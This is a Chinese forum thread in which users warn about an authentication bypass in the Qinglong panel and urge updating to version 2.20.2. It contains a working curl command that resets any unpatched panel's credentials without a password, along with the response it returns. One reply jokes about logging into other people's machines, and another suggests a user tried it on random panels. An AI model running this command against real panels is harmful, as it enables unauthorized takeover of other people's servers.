青龙漏洞，无密码登录任意面板，赶快更新最新版。

mn001

只要不是最新版2.20.2，用户密码被任意修改。
执行：curl -X PUT "http://IP:5700/open/user/init" -H "Content-Type: application/json" -d '{"username": "123", "password": "123"}'
返回：
{"code":200,"message":"更新成功"}

我的刚发现被改了， 还被挂了个脚本

===

我暂时是不敢用了。

HOH

青龙漏洞，无密码登录任意面板，赶快更新最新版。
青龙漏洞，无密码登录任意面板，赶快登录别人的机器。

mn001

HOH 发表于 2026-3-8 22:38
青龙漏洞，无密码登录任意面板，赶快更新最新版。
青龙漏洞，无密码登录任意面板，赶快登录别人的机 ...

理解能力超强

feixiang

没暴露到外网，不用担心吧。

SpaceX

随便找了几个都报错

williamc2

不敢用

rqp

还能用吗

mn001

SpaceX 发表于 2026-3-9 08:44
随便找了几个都报错

上周开始的。大半暴露在公网的应该都已经发现了异常，然后更新了。只有个别不上心的人没更新。比如我有一台平常不咋用的就昨天刚更新。